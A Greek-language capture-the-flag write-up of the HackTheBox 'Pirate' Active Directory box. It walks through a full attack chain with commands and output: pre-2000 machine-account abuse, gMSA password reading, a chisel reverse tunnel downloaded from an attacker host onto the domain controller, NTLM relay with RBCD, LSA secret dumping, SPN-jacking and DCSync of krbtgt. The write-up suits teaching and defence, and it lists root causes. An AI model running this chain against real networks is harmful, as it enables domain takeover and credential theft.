Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: Pirate

HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗

Το Pirate είναι ένα box Active Directory assumed-breach — ξεκινάς με έναν λογαριασμό domain χαμηλού-προνομίου — και κάθε άλμα είναι ένα credential που ποτέ δεν έπρεπε να είναι προσβάσιμο. Ένας pre-Windows 2000 λογαριασμός machine ακόμα κρατά το bootstrap password με το οποίο δημιουργήθηκε, που κάνει bootstrap το Kerberos. Εκείνος ο λογαριασμός μπορεί να διαβάσει το managed password ενός gMSA, και το gMSA είναι στο Remote Management Users → ένα shell WinRM στον DC. Ο DC είναι dual-homed, κρύβοντας έναν εσωτερικό web server, οπότε η επόμενη κίνηση είναι ένα κλασικό NTLM relay: κάνε coerce τον λογαριασμό machine του web server με PrinterBug, κάνε το relay στο LDAP, και γράψε resource-based constrained delegation ώστε να μπορούμε να κάνουμε impersonate τον τοπικό admin του και να τραβήξουμε έναν πραγματικό χρήστη domain από το LSA. Εκείνος ο χρήστης μπορεί να κάνει ForceChangePassword σε έναν λογαριασμό delegation, και το SPN constrained-delegation του λογαριασμού delegation είναι μεταβλητό — οπότε κάνουμε SPN-jack πάνω στον DC και κόβουμε ένα ticket Domain Admin προς τον ίδιο τον DC. Όλο αυτό οδηγήθηκε από ένα Mac, που πρόσθεσε μερικούς δικούς του γρίφους.
pentest → pre2k MS01$ → gMSA → WinRM (DC01) → RBCD relay (WEB01) → a.white (user) → ForceChangePassword → SPN-jack → DA

Αναγνώριση

Το box σου δίνει ένα αρχικό credential — pentest : p3nt3st2025!& — οπότε αυτό είναι assumed-breach: κανένα exploit για την μπροστινή πόρτα, μόνο ένα authenticated foothold μέσα στο domain. Μια γρήγορη σάρωση είναι σχολικό βιβλίο domain controller: Kerberos, LDAP, το global catalog, SMB, και WinRM. Server 2019, domain pirate.htb, hostname DC01.

nmap + credential check
$ nmap -Pn -p88,389,445,3268,5985 --open <DC_IP> 88/tcp open kerberos-sec 389/tcp open ldap 445/tcp open microsoft-ds 3268/tcp open globalcatLDAP 5985/tcp open wsman $ nxc smb <DC_IP> -u pentest -p 'p3nt3st2025!&' SMB <DC_IP> 445 DC01 [*] Windows Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:True) SMB <DC_IP> 445 DC01 [+] pirate.htb\pentest:p3nt3st2025!&

Πρόσθεσε τα ονόματα στο /etc/hosts (pirate.htb, dc01.pirate.htb) — το Kerberos κάνει resolve service principals με βάση το hostname, οπότε το να δουλεύεις μόνο με IP σπάει τη στιγμή που αγγίζεις ένα ticket.

Foothold — ένας λογαριασμός machine pre-Windows 2000

Η καταμέτρηση αντικειμένων computer μέσω LDAP αναδεικνύει περισσότερα από τους δύο hosts που θα περίμενες:

nxc ldap --computers
$ nxc ldap <DC_IP> -u pentest -p 'p3nt3st2025!&' --computers DC01$ WEB01$ MS01$ EXCH01$ gMSA_ADCS_prod$ gMSA_ADFS_prod$

Δύο λογαριασμοί machine — MS01$ και EXCH01$ — κουβαλούν τη σημαία Pre-Windows 2000. Όταν ένας admin προδημιουργεί ένα αντικείμενο computer για έναν host που δεν έχει κάνει join στο domain ακόμα, το αρχικό του password ορίζεται στο πεζό sAMAccountName χωρίς το τελικό dollar sign. Αν ο host δεν κάνει ποτέ join (lastLogon = 0), εκείνο το bootstrap password είναι ακόμα ζωντανό. Το module pre2k του netexec σημαίνει ακριβώς αυτό:

pre2k discovery
$ nxc ldap <DC_IP> -u pentest -p 'p3nt3st2025!&' -M pre2k PRE2K Pre-created computer account: MS01$ PRE2K Pre-created computer account: EXCH01$

Οπότε το password του MS01$ θα έπρεπε να είναι ms01. Δεν μπορείς να το δοκιμάσεις με κανονικό logon όμως — οι λογαριασμοί machine αρνούνται interactive/NTLM authentication (STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT). Όλα από εδώ και πέρα είναι μόνο-Kerberos. Πιάσε ένα TGT για να αποδείξεις το password και να το κουβαλήσεις στο επόμενο βήμα:

getTGT — MS01$
$ getTGT.py 'pirate.htb/MS01$:ms01' -dc-ip <DC_IP> [*] Saving ticket in MS01$.ccache $ export KRB5CCNAME=MS01\$.ccache
Παρένθεση macOS: το ρολόι του DC ήταν +7 ώρες μπροστά από μένα, οπότε κάθε ωμή κλήση Kerberos πέθαινε με KRB_AP_ERR_SKEW. Αντί να επαναφέρω το ρολόι συστήματος τύλιξα το Impacket σε faketime -f '+7h' <tool>. Το bloodyAD είναι καλύτερο — εντοπίζει το skew και ξαναδοκιμάζει αυτόματα. Περισσότερα για τις παραξενιές macOS στο τέλος.

gMSA — διαβάζοντας ένα managed password → WinRM στον DC

Ένα group Managed Service Account έχει ένα password 240-bytes που το AD περιστρέφει μόνο του και ποτέ δεν δείχνει σε admin. Η παγίδα: κάθε principal που είναι λισταρισμένος στο msDS-GroupMSAMembership του gMSA (το σύνολο "principals allowed to retrieve managed password") μπορεί να διαβάσει το blob μέσω LDAP και να παράγει το hash NT από αυτό. Το φρέσκο-κατακτημένο μας MS01$ είναι τέτοιο principal. Το bloodyAD το διαβάζει και επιστρέφει το hash απευθείας:

bloodyAD — read gMSA managed password
$ KRB5CCNAME=MS01\$.ccache bloodyAD --host dc01.pirate.htb -d pirate.htb -k \ get object 'gMSA_ADFS_prod$' --attr msDS-ManagedPassword Clock skew detected. Adjusting local time by 6:59:59. Retrying operation. distinguishedName: CN=gMSA_ADFS_prod,CN=Managed Service Accounts,DC=pirate,DC=htb msDS-ManagedPassword.NT: e819498e................................

Εκείνο το hash NT είναι ένα πλήρες credential για τον gMSA_ADFS_prod$ — και ο λογαριασμός τυχαίνει να είναι στο Remote Management Users, οπότε μπορεί να κάνει login μέσω WinRM. Το netexec επιβεβαιώνει exec επιπέδου-admin, και το evil-winrm ρίχνει ένα shell στον DC:

WinRM as gMSA_ADFS_prod$
$ nxc winrm dc01.pirate.htb -u 'gMSA_ADFS_prod$' -H e819498e... WINRM dc01.pirate.htb 5985 DC01 [+] pirate.htb\gMSA_ADFS_prod$:e819498e... (Pwn3d!) $ evil-winrm -i dc01.pirate.htb -u 'gMSA_ADFS_prod$' -H e819498e...

Πρώτο πράγμα μέσα: ipconfig. Ο DC είναι dual-homed.

DC01 interfaces
PS> ipconfig IPv4 Address. . . . . . : 192.168.100.1 # internal IPv4 Address. . . . . . : <DC_IP> # the network we came in on

Υπάρχει ένα 192.168.100.0/24 πίσω από τον DC, και από το προηγούμενο LDAP dump ξέρουμε ότι το WEB01$ ζει εκεί — 192.168.100.2, απευθείας απρόσιτο. Τα flags δεν είναι στα αναγνώσιμα desktops του DC, οπότε ο επόμενος στόχος είναι εκείνος ο εσωτερικός host. Ώρα για pivot.

Pivoting στο εσωτερικό δίκτυο (από macOS)

Το tunnel της οικίας γι' αυτό είναι το ligolo, αλλά το TUN + interactive console του είναι δύσκολο να γίνει script σε macOS, οπότε χρησιμοποίησα αντ' αυτού chisel reverse SOCKS — εντελώς non-interactive, δεν χρειάζεται root για το ίδιο το proxy. Τρέξε τον server στο box επίθεσης, στήσε τον client πάνω στον DC μέσω του shell WinRM, και κάλεσε πίσω:

chisel reverse SOCKS
# attacker $ ./chisel server --reverse --socks5 -p 9001 # on DC01, via the WinRM shell — download + dial back PS> iwr http://<ATTACKER>:8000/chisel.exe -OutFile C:\Windows\Temp\c.exe PS> C:\Windows\Temp\c.exe client <ATTACKER>:9001 R:socks server: session#2: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Μια παγίδα που αξίζει να ξέρεις: μια διαδικασία-παιδί που ξεκινά από μια εντολή WinRM one-shot σκοτώνεται όταν το job object εκείνης της εντολής καταρρέει. Κράτα το κανάλι WinRM που εκκίνησε το chisel ανοιχτό (τρέξ' το στο foreground ενός backgrounded session) ώστε το tunnel να επιβιώσει.

Με το SOCKS πάνω στο 127.0.0.1:1080, το WEB01 είναι προσβάσιμο — 445, 135, 5985 και μια υπηρεσία HTTP στη 80. Μια σημείωση για συνάδελφους χρήστες Mac: το netexec σπάει κάτω από proxychains (οι multiprocessing workers του δεν κληρονομούν το hook DYLD_INSERT_LIBRARIES), αλλά τα single-process scripts Impacket κάνουν proxy μια χαρά. Οπότε η καταμέτρηση και κάθε βήμα σχετικό-με-relay παρακάτω τρέχουν σαν proxychains4 <impacket-tool>.

WEB01 — NTLM relay → RBCD → ένας χρήστης domain

Το gMSA μπορεί να κάνει authenticate στο WEB01 αλλά δεν είναι τοπικός admin εκεί (rpc_s_access_denied σε ένα secrets dump). Αυτό που το WEB01 έχει πραγματικά είναι απενεργοποιημένο SMB signing — το πράσινο φως για ένα NTLM relay. Το σχέδιο:

  1. Κάνε coerce το WEB01$ να κάνει authenticate σε εμάς (PrinterBug / MS-RPRN).
  2. Κάνε relay εκείνο το auth του λογαριασμού machine στο LDAP του DC.
  3. Χρησιμοποίησέ το για να γράψεις resource-based constrained delegation στο WEB01$, εμπιστευόμενο έναν λογαριασμό computer που ελέγχουμε.
  4. Κάνε S4U στον εαυτό μας ένα ticket Administrator στο WEB01 και κάνε dump τα secrets του.

Πρώτα, δημιούργησε τον λογαριασμό computer μέσα από τον οποίο θα κάνουμε delegate — κάθε authenticated χρήστης μπορεί, μέχρι το ms-DS-MachineAccountQuota (default 10):

add a controllable computer account
$ addcomputer.py -computer-name 'hackpuntes$' -computer-pass '1Qwerty!' \ -dc-host dc01.pirate.htb -hashes :e819498e... 'pirate.htb/gMSA_ADFS_prod$' [*] Successfully added machine account hackpuntes$ with password 1Qwerty!.

Ξεκίνα το relay να δείχνει στο LDAP, λέγοντάς του να ρυθμίσει delegation για τον νέο μας λογαριασμό. Το --remove-mic είναι το κόλπο drop-the-MIC που αφήνει ένα relay SMB→LDAP να περάσει ακόμα και με παρόν ένα MIC· το LDAP του DC δεν επιβάλλει signing, οπότε προσγειώνεται. Το binding του server SMB στη 445 χρειάζεται root:

ntlmrelayx — RBCD attack
$ sudo ntlmrelayx.py -t ldap://<DC_IP> -smb2support --remove-mic \ --delegate-access --escalate-user 'hackpuntes$' [*] Servers started, waiting for connections

Τώρα η coercion. Το RpcRemoteFindFirstPrinterChangeNotificationEx του PrinterBug κάνει το spooler του στόχου να κάνει authenticate πίσω σε οποιονδήποτε host ονομάσουμε. Στέλνουμε το RPC στο WEB01 μέσω του tunnel SOCKS και δείχνουμε το callback στη δική μας IP VPN:

PrinterBug coercion (through proxychains)
$ proxychains4 python3 printerbug.py -no-ping \ -hashes :e819498e... 'pirate.htb/gMSA_ADFS_prod$'@192.168.100.2 <ATTACKER> [*] Attempting to trigger authentication via rprn RPC at 192.168.100.2 [*] Triggered RPC backconnect, this may or may not have worked

Δούλεψε — το callback του spooler έφτασε τη διεύθυνση VPN μου (routed έξω μέσω του DC), και το relay έκανε τη δουλειά του:

ntlmrelayx — result
[*] Authenticating connection from PIRATE/WEB01$ ... against ldap://<DC_IP> SUCCEED [*] Delegation rights modified succesfully! [*] hackpuntes$ can now impersonate users on WEB01$ via S4U2Proxy

Το RBCD είναι ορισμένο. Τώρα S4U2Self+S4U2Proxy σαν hackpuntes$ για να πάρουμε ένα ticket cifs/WEB01 σαν Administrator, μετά κάνε dump τα secrets του WEB01 μέσα από το tunnel:

S4U → secretsdump WEB01
$ faketime -f '+7h' getST.py -spn cifs/WEB01.pirate.htb -impersonate Administrator \ 'pirate.htb/hackpuntes$:1Qwerty!' -dc-ip <DC_IP> [*] Saving ticket in Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache $ KRB5CCNAME=Administrator@cifs_WEB01...ccache \ proxychains4 secretsdump.py -k -no-pass -target-ip 192.168.100.2 WEB01.pirate.htb Administrator:500:aad3b435...:b1aac158...::: # WEB01 local admin [*] DefaultPassword PIRATE\a.white:E2nvAOKSz5Xz2MJu # LSA autologon secret

Το βραβείο είναι στα LSA secrets: ένα autologon DefaultPassword για έναν πραγματικό χρήστη domain, τον a.white, καθισμένο σε cleartext. Αυτός είναι ο λογαριασμός του οποίου το desktop κρατά το user flag — διάβασέ το κατευθείαν από το WEB01 με το ticket Administrator που ήδη έχουμε:

user.txt
$ proxychains4 smbclient.py -k -no-pass -target-ip 192.168.100.2 WEB01.pirate.htb # use C$ # get Users\a.white\Desktop\user.txt [redacted — user flag]

Πλάγιο — ForceChangePassword σε λογαριασμό delegation

Πίσω στο domain με πραγματικά credentials χρήστη. Ο a.white κρατά ένα δικαίωμα ForceChangePassword πάνω στον a.white_adm — τη δυνατότητα να κάνει reset το password εκείνου του λογαριασμού χωρίς να ξέρει το παλιό. Ο DC είναι απευθείας προσβάσιμος, οπότε δεν χρειάζεται tunnel εδώ:

reset a.white_adm
$ bloodyAD --host dc01.pirate.htb -d pirate.htb -u a.white -p 'E2nvAOKSz5Xz2MJu' \ set password 'a.white_adm' '1Qwerty!' [+] Password changed successfully!

Γιατί έχει σημασία ο a.white_adm γίνεται ξεκάθαρο τη στιγμή που κοιτάς το config delegation του:

findDelegation
$ findDelegation.py 'pirate.htb/a.white_adm:1Qwerty!' -dc-ip <DC_IP> AccountName DelegationType DelegationRightsTo ----------- ---------------------------------- --------------------- a.white_adm Constrained w/ Protocol Transition http/WEB01.pirate.htb

Το constrained delegation με protocol transition (η σημαία TRUSTED_TO_AUTH_FOR_DELEGATION του λογαριασμού) σημαίνει ότι ο a.white_adm μπορεί να καλέσει S4U2Self για να φτιάξει ένα χρησιμοποιήσιμο ticket για οποιονδήποτε χρήστη, μετά S4U2Proxy για να το προωθήσει στην υπηρεσία που ονομάζεται στο msDS-AllowedToDelegateTo — εδώ, το http/WEB01.pirate.htb. Στα χαρτιά αυτό μας επιτρέπει μόνο να χτυπήσουμε μια υπηρεσία web στο WEB01, που ήδη κατέχουμε. Το κόλπο είναι σε τι πραγματικά δείχνει "το SPN".

Root — SPN-jacking constrained delegation πάνω στον DC

Όταν το KDC εκδίδει ένα ticket S4U2Proxy για το http/WEB01.pirate.htb, κρυπτογραφεί εκείνο το ticket με το μακροπρόθεσμο κλειδί όποιου λογαριασμού κατέχει αυτή τη στιγμή εκείνο το SPN. Τώρα αυτό είναι το WEB01$. Αλλά τα SPNs είναι απλά multi-valued attributes, πρέπει να είναι μοναδικά στο forest, και — κρίσιμο — ο a.white_adm μπορεί να γράψει servicePrincipalName και στο WEB01$ και στο DC01$. Οπότε μετακίνησε το SPN: διάγραψε το http/WEB01.pirate.htb από το WEB01$, πρόσθεσέ το στο DC01$. Τώρα το ίδιο request S4U2Proxy αποδίδει ένα ticket κρυπτογραφημένο με το κλειδί του DC.

Έκανα τη μετακίνηση χειρουργικά με ldapmodify ώστε τα άλλα 24 SPNs του DC να μείνουν ανέγγιχτα (η σειρά έχει σημασία — διάγραψε πριν προσθέσεις, αλλιώς ο περιορισμός μοναδικότητας το απορρίπτει):

move the SPN WEB01$ → DC01$
# delete from WEB01$ $ ldapmodify -x -H ldap://<DC_IP> -D 'a.white_adm@pirate.htb' -w '1Qwerty!' <<'EOF' dn: CN=WEB01,CN=Computers,DC=pirate,DC=htb changetype: modify delete: servicePrincipalName servicePrincipalName: HTTP/WEB01.pirate.htb EOF # add to DC01$ $ ldapmodify -x -H ldap://<DC_IP> -D 'a.white_adm@pirate.htb' -w '1Qwerty!' <<'EOF' dn: CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb changetype: modify add: servicePrincipalName servicePrincipalName: HTTP/WEB01.pirate.htb EOF modifying entry "CN=WEB01,CN=Computers,DC=pirate,DC=htb" modifying entry "CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb"

Τώρα το κέρδος. Ζήτησε το delegated ticket για το http/WEB01.pirate.htb κάνοντας impersonate τον administrator — επιστρέφει σφραγισμένο με το κλειδί του DC01$ — και χρησιμοποίησε το -altservice για να ξαναγράψεις το όνομα υπηρεσίας στο ticket σε cifs/DC01. Αυτή η αντικατάσταση sname είναι νόμιμη γιατί και οι δύο κλάσεις υπηρεσίας σερβίρονται από το ίδιο κλειδί λογαριασμού, και μετατρέπει ένα ticket "web" σε ένα ticket SMB προς τον domain controller:

getST — S4U + altservice
$ faketime -f '+7h' getST.py -spn 'http/WEB01.pirate.htb' -impersonate administrator \ 'pirate.htb/a.white_adm:1Qwerty!' -dc-ip <DC_IP> -altservice 'cifs/DC01.pirate.htb' [*] Requesting S4U2Proxy [*] Changing service from http/WEB01.pirate.htb@PIRATE.HTB to cifs/DC01.pirate.htb@PIRATE.HTB [*] Saving ticket in administrator@cifs_DC01.pirate.htb@PIRATE.HTB.ccache

Αυτό είναι ένα ticket Administrator προς την ίδια την υπηρεσία cifs του DC — game over. Διάβασε το root flag, και κάνε DCSync για να κάνεις το domain compromise ξεκάθαρο:

root.txt + DCSync
$ KRB5CCNAME=administrator@cifs_DC01...ccache faketime -f '+7h' \ smbclient.py -k -no-pass dc01.pirate.htb # use C$ # get Users\Administrator\Desktop\root.txt [redacted — root flag] $ KRB5CCNAME=administrator@cifs_DC01...ccache faketime -f '+7h' \ secretsdump.py -k -no-pass -just-dc-user krbtgt dc01.pirate.htb krbtgt:502:aad3b435...:33071738...::: # golden-ticket capable
Το constrained delegation ελέγχει ποια υπηρεσία μπορείς να φτάσεις, ποτέ ποιος λογαριασμός κατέχει το όνομα εκείνης της υπηρεσίας. Αν ένας principal μπορεί να ξαναγράψει servicePrincipalName σε ένα αντικείμενο computer — ειδικά τον DC — τότε ο στόχος delegation στον οποίο δείχνει "με ασφάλεια" είναι ένα κινούμενο αντικείμενο. Μεταχειρίσου την πρόσβαση write στο servicePrincipalName σε privileged λογαριασμούς σαν ισοδύναμη με έλεγχο όλου του τι κάνει delegate σε αυτούς.

Σημειώσεις operator — τρέχοντας αυτό από macOS

Τίποτα από το tradecraft δεν αλλάζει σε Mac, αλλά μερικές αιχμηρές άκρες αξίζει να καταγραφούν:

Γιατί Δούλεψε

ΣταδιοΡιζα του προβληματος
→ MS01$Λογαριασμός machine Pre-Windows 2000 που ποτέ δεν έκανε join, ακόμα κρατώντας το bootstrap password του = πεζό όνομα (αδύναμο default credential, CWE-1392)
→ DC01 (WinRM)Managed password gMSA αναγνώσιμο από έναν λογαριασμό που τώρα ελέγχουμε — υπερβολικά ευρύ msDS-GroupMSAMembership
→ WEB01 / a.whiteΑπενεργοποιημένο SMB signing + coercion λογαριασμού machine (PrinterBug) → NTLM relay στο LDAP → RBCD· credentials domain αφημένα σε ένα secret autologon LSA (CWE-294 / CWE-522)
→ a.white_admDACL ForceChangePassword πάνω σε έναν privileged, delegation-enabled λογαριασμό (CWE-269)
→ Domain AdminΤο SPN constrained-delegation είναι μεταβλητό· εγγράψιμο servicePrincipalName στον DC σου επιτρέπει να κάνεις SPN-jack τον στόχο πάνω στο DC01$ (CWE-266)

Βασικές εντολές

quick reference
# 1. λογαριασμος machine pre2k → TGT Kerberos nxc ldap <DC_IP> -u pentest -p 'p3nt3st2025!&' -M pre2k getTGT.py 'pirate.htb/MS01$:ms01' -dc-ip <DC_IP> # 2. διαβασε managed password gMSA → WinRM στον DC01 KRB5CCNAME=MS01$.ccache bloodyAD --host dc01.pirate.htb -d pirate.htb -k get object 'gMSA_ADFS_prod$' --attr msDS-ManagedPassword evil-winrm -i dc01.pirate.htb -u 'gMSA_ADFS_prod$' -H <gmsa-hash> # 3. pivot στο 192.168.100.0/24 (chisel reverse SOCKS) ./chisel server --reverse --socks5 -p 9001 # επιτιθεμενος c.exe client <ATTACKER>:9001 R:socks # στον DC01 # 4. RBCD μεσω relay + PrinterBug → a.white (user.txt) addcomputer.py -computer-name 'hackpuntes$' -computer-pass '1Qwerty!' -dc-host dc01.pirate.htb -hashes :<gmsa-hash> 'pirate.htb/gMSA_ADFS_prod$' sudo ntlmrelayx.py -t ldap://<DC_IP> -smb2support --remove-mic --delegate-access --escalate-user 'hackpuntes$' proxychains4 python3 printerbug.py -no-ping -hashes :<gmsa-hash> 'pirate.htb/gMSA_ADFS_prod$'@192.168.100.2 <ATTACKER> faketime -f '+7h' getST.py -spn cifs/WEB01.pirate.htb -impersonate Administrator 'pirate.htb/hackpuntes$:1Qwerty!' -dc-ip <DC_IP> proxychains4 secretsdump.py -k -no-pass -target-ip 192.168.100.2 WEB01.pirate.htb # 5. ForceChangePassword + SPN-jack → Domain Admin (root.txt) bloodyAD --host dc01.pirate.htb -d pirate.htb -u a.white -p '<pw>' set password 'a.white_adm' '1Qwerty!' ldapmodify ... delete HTTP/WEB01.pirate.htb from WEB01$ ; add it to DC01$ faketime -f '+7h' getST.py -spn 'http/WEB01.pirate.htb' -impersonate administrator 'pirate.htb/a.white_adm:1Qwerty!' -dc-ip <DC_IP> -altservice 'cifs/DC01.pirate.htb' faketime -f '+7h' secretsdump.py -k -no-pass -just-dc dc01.pirate.htb
HackTheBoxMy HTB profile & more boxes ↗ GitHubOpen-source security & automation tools ↗